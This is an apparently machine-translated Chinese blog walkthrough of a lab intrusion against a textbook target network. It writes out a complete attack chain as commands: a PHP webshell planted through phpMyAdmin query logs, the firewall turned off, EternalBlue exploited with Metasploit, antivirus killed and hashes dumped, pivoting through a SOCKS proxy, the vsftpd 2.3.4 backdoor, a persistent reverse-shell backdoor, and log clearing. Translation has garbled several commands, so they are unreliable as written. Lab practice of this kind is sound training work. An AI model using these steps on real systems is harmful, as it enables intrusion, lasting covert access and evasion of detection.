发布于2025年12月3日12月3日 目标无人机来源:http://www.cmpedu.com/books/book/5606766.htm 1。环境设置 首先为VMware创建两个仅主机网卡: vmnet6: 192.168.159.0/24 vmnet7: 192.168.139.0/24 然后在kali和Server(Win7)中添加vmnet6,在Server(Win7)和Metasploitable2中添加vmnet7。设备上电后,将静态IP地址一一配置为拓扑图中的地址。 为了真正模拟内网水平方向,需要删除kali的默认网关:ip route del default 2。获得许可 2.1。 Webshell 在kali上使用nmap对目标主机进行端口扫描: 1nmap 192.168.159.141 -n -Pn -T5 -p- 只允许80端口,尝试通过浏览器访问80端口: 可以看到,目标主机的Web服务是由phpStudy搭建的,网站根目录位于目标服务器的C:/WWW路径下。由于小皮面板一般都自带phpMyAdmin,所以可以尝试访问http://192.168.159.141/phpmyadmin/: 使用弱密码root/root成功登录phpMyAdmin: 尝试执行SELECT content INTO OUTFILE文件路径语句将一句话木马写入站点根目录: 1SELECT '?php @eval($_REQUEST['mkbk']);' INTO OUTFILE 'C:/WWW/hack.php'; 写入失败,提示受到--secure-file-priv选项限制。继续查看该选项的配置值: 1显示全局变量,如“%secure_file_priv%”; 不能写入空值,并且不能将secure_file_priv 修改为只读变量: 1SET 全局secure_file_priv=''; 尝试从MySQL的查询日志入手。首先查看查询日志配置信息: 1显示全局变量,如“%general_log%”; 修改查询日志开关和日志路径: 12设置全局general_log=on;设置全局general_log_file='C:/WWW/hack.php'; -- 默认情况下,查询日志写入站点根目录。执行完成后,运行SHOW GLOBAL VARIABLES LIKE '%general_log%';检查状态: 修改成功后,再运行一句一句话木马的查询语句写入查询日志: 1SELECT '?php @eval($_REQUEST['mkbk']);'; 操作生效,然后访问查询日志文件hack.php: http://192.168.159.141/hack.php 可以访问,然后验证是否可以解析php代码,在地址栏发起GET请求http://192.168.159.141/hack.php?mkbk=phpinfo(); 没问题,使用蚂蚁剑连接webshell http://192.168.159.141/hack.php 连接蚁剑后,进入虚拟终端,查看用户: 用户为system,已成功获取最高权限。 2.2。永恒之蓝 继续在虚拟终端中运行systeminfo命令查看系统信息: 可以看到系统是Windows家庭版,所以无法使用RDP远程桌面,并且系统安装了两块网卡,其中网卡1和kali不在同一网段,说明可以继续模拟内网横向移动。 在内网横行之前,可以收集更多可以利用的信息。使用netstat -ano查看网络连接状态: 可以看到系统运行的是445和139端口,继续执行sc query mrxsmb10命令验证SMB版本是否为v1: SMBv1正在运行,可以尝试使用msf来利用永恒之蓝漏洞(ms17-010),以获得更好的利用后环境。在执行此操作之前,请关闭防火墙,以便kali 可以连接到smb 端口: 1netsh advfirewall 将所有配置文件状态设置为关闭 将命令复制到一建虚拟终端并运行时,如果复制了更多换行符,终端将返回ret=1。粘贴后需要删除换行符,或者输入命令手,这样才能正常运行。 然后运行netsh advfirewall show allprofiles查看防火墙状态: 输出乱码,即使设置了chcp 65001(UTF-8字符编码)或者chcp 936(GBK字符编码),输出还是乱码。然后不再在蚁剑中检查防火墙状态,而是直接使用Kali上的nmap来扫描端。如果扫描出80端口以外的端口,则说明防火墙已关闭: 1nmap 192.168.159.141-n-Pn-T5-F 您可以验证防火墙是否已关闭。继续尝试使用msf来利用永恒之蓝漏洞。首先使用辅助模块扫描永恒之蓝漏洞是否真的存在: 12345msfconsolesearch ms17-010使用辅助/扫描仪/smb/smb_ms17_010设置rhost 192.168.159.141运行 提示可能存在永恒之蓝漏洞。继续使用exp模块来利用该漏洞: 1234567891011121314msf6 辅助(scanner/smb/smb_ms17_010) 使用exploit/windows/smb/ms17_010_eternalblue[*] 使用配置的负载windows/x64/meterpreter/reverse_tcpmsf6exploit(windows/smb/ms17_010_eternalblue) 设置rhost 192.168.159.141rhost=192.168.159.141msf6exploit(windows/smb/ms17_010_eternalblue) run[*] 在192.168.159.131:4444[*] 上启动反向TCP 处理程序192.168.159.141:445 - 使用辅助/扫描仪/smb/smb_ms17_010 作为检查[+] 192.168.159.141:445 - 主机可能容易受到MS17-010 的攻击! - Windows 7 Home Basic 7600 x86(32 位)[*] 192.168.159.141:445 - 已扫描1 台主机中的1 台(100% 完成)[+] 192.168.159.141:445 - 目标易受攻击。[-] 192.168.159.141:445 - 由于故障而中止利用: no-target:此模块仅支持x64(64位)目标[*]利用已完成,但未创建会话。msf6利用(windows/smb/ms17_010_eternalblue) 漏洞利用失败,提示该模块仅支持64位系统,但目标系统为32位,不支持。解决方案是使用ms17_010_eternalblue_doublepulsar 项目,该项目支持32 位系统的EternalBlue 漏洞利用。 首先需要安装Wine(exe运行环境)。安装可能需要很长时间。建议先换源再安装: 为了真实模拟后续的内网偏侧化,在最初的环境搭建过程中,删除了kali的默认网关。为了恢复网络状态,可以给kali添加NAT网卡或者桥接网卡。配置完成后,执行ip route del default删除默认网关。 12sed -i 's@http://http.kali.org/kali@https://mirrors.tuna.tsinghua.edu.cn/kali@g' /etc/apt/sources.list # 更改源dpkg --add-architecture i386 apt-get update apt-get install wine32 # 安装完成后,使用以下命令验证Wine 的可用性: 12wine --version # 验证版本rm -r ~/.wine wine cmd.exe # 验证CMD 可用性 然后克隆项目并配置: 123456cd /tmpgit克隆https://github.com/hhktony/ms17_010_eternalblue_doublepulsar.gitcd ms17_010_eternalblue_doublepulsarcp ms17_010_eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/mkdir -p /root/Eternalblue-Doublepulsar-Metasploit/depscp -r deps//root/Eternalblue-Doublepulsar-Metasploit/完成上述配置后,即可删除kali默认网关并利用该漏洞: 123456789msfconsoleuseexploit/windows/smb/ms17_010_eternalblue_doublepulsarshowtargetssetRHOSTS 192.168.159.141# set PROCESSINJECT wlms.exe # 默认配置,无法建立Meterpreter会话(Win7进程中不存在此程序)# set PROCESSINJECT lsass.exe # 系统将失败并重新启动1分钟后# set PROCESSINJECT explorer.exe # 有一定几率会导致explorer崩溃set PROCESSINJECT svchost.exerun 成功利用该漏洞并获取meterpreter shell。 3。信息收集 拿到meterpreter shell后,就可以开始后期渗透测试实践了。可以先使用下面的命令来收集:的信息 1234567891011121314151617181920212223sysinfo # 查看目标系统信息getuid # 查看当前用户ps # 查看进程ipconfig # 查看网卡信息Route # 查看路由表arp -a # 查看arp 缓存表截图# 获取截图上传本地文件路径#上传文件下载目标文件路径# 下载文件run post/windows/manage/killav # 关闭杀毒software run post/windows/gather/hashdump # 转储用户哈希run windows/gather/smart_hashdump # 转储用户哈希run post/windows/gather/enum_domain # 查看域信息run post/windows/gather/win_privs # 列出当前用户权限run post/windows/gather/dnscache_dump # 检查dns 缓存run post/windows/gather/checkvm # 检查系统是否运行在虚拟机中run post/windows/gather/enum_logged_on_users # 列出当前登录的用户run post/windows/gather/forensics/enum_drives # 列出磁盘分区信息run post/windows/gather/enum_applications # 列出已安装的程序run post/windows/gather/enum_shares # 列出共享信息run post/windows/gather/dumplinks # 查看最近打开的文件记录run post/windows/gather/enum_prefetch # 列出最近运行的程序 在msfconsole 中运行search post/windows/gather 以检索所有可用的信息收集工具。或者查看这篇文章了解更多命令:https://blog.csdn.net/2302_76986722/article/details/132919048 4。水平渗透 4.1。 msf代理 在蚁剑虚拟终端中运行systeminfo命令时,我们看到目标主机中有2块网卡。网卡1的IP与kali不在同一网段,因此可以作为第二个攻击目标进行横向渗透。 水平渗透最简单的方法是直接将内网杀手fsan上传到目标主机1,然后在目标主机上运行fscan扫描攻击目标主机2。由于目标主机1是较旧的32位Win7,fsan建议使用fs:第二版https://github.com/P001water/fs 将fs上传到Win7后,可以使用以下命令进行扫描爆破: 12.\fs86 -t 192.168.139.1-254 -o r.txt 类型r.txt |查找str + |查找str /v 192.168.139.131 在网卡1所在网段发现的另一台主机192.168.139.131存在SSH弱密码、FTP匿名登录、php-cgi参数注入漏洞。 但是,这种方法需要您每次使用新工具时都将工具上传到目标主机1,然后控制目标主机1攻击目标主机2。这不是最佳实践。更常见的方法是配置socks代理并将目标主机2路由到kali。 首先打开一个meterpreter会话,输入run post/multi/manage/autoroute自动添加目标主机1的路由到kali,然后输入run autoroute -p查看路由: 然后进入后台,将meterpreter会话添加到后台,然后切换到socks proxy辅助模块:使用auxiliary/server/socks_proxy,并设置socks版本为4a: set version 4a,然后运行: 要停止socks代理,可以使用jobs命令获取任务id,然后使用jobs -k id命令终止它; 要恢复已添加到后台的meterpreter会话,可以使用session命令获取会话id,然后使用session -i id命令进入会话。 4.2。 vsftp 笑脸漏洞 ocks4a代理启动后,可以使用proxychains工具调用该代理。首先打开一个新终端,然后修改proxychains的配置文件: 12345cat /etc/proxychains.conf EOF[ProxyList]socks4 127.0.0.1 1080#socks5 127.0.0.1 1080EOF 更改配置后,可以在proxychains 命令后添加其他需要的代理工具,以达到调用代理的效果。例如使用nmap调用agent扫描目标主机2开放的端口和端口服务信息: 1proxychains -q nmap 192.168.139.133 -n -Pn -sT -F -T5 -sV -v ocks代理必须完成三向握手,因此nmap必须使用-sT参数来执行“全扫描”,而socks无法代理较低的icmp流量,因此nmap还必须添加-Pn参数来跳过生存扫描。 扫描发现目标主机运行的是v2.3.4版本的vsftp。该版本存在“笑脸漏洞”。利用方法非常简单。首先,发起与目标主机2的ftp连接: 1proxychains -q ftp 192.168.139.133 提示输入用户名时,随便输入,只要最后有一个笑脸符号:)即可。输入密码直接回车即可,然后会提示登录失败: 此时vsftp会自动打开6200端口,kali可以使用nc或ncat连接该端口来获取转发shell: 1代理链-q nc 192.168.139.133 6200 除了手动利用vsftp的笑脸漏洞之外,还可以使用vsftpd_2.3.4_Exploit: 1234git克隆https://github.com/Hellsender01/vsftpd_2.3.4_Exploit.gitcd vsftpd_2.3.4_Exploitpip install pwn --break-system-packages -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple some-packageproxychains -q pythonexploit.py 192.168.139.133 由于目标主机2是Metasploitable2,因此还存在其他可利用的漏洞。详情可参考这篇文章:https://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==mid=2247522558idx=1sn=56859f81091257fba4773658cfcec6ed 5。后门持久化 由于Meterpreter是驻留在内存中的ShellCode,一旦目标机器重新启动,它将失去对目标机器的控制。因此,为了永久控制目标机器,需要在目标机器中植入持久性后门。 Meterpreter后门持久化中常用的模块是Persistence。 持久化配置如下 1234567backgrounduseexploit/windows/local/persistencesetsessionsessionID # 使用sessions命令查看会话idsetstartup SYSTEM # 启动类型set lhost 192.168.159.131 # 返回IP set lport 6666 # 返回端口run 监控配置如下: 12345useexploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset lhost 192.168.159.131set lport 6666run后,目标设备一重启,就会每隔10秒自动连接kali: 6。痕迹清理 可以使用meterpreter的clearev命令(需要系统权限)
创建帐户或登录后发表意见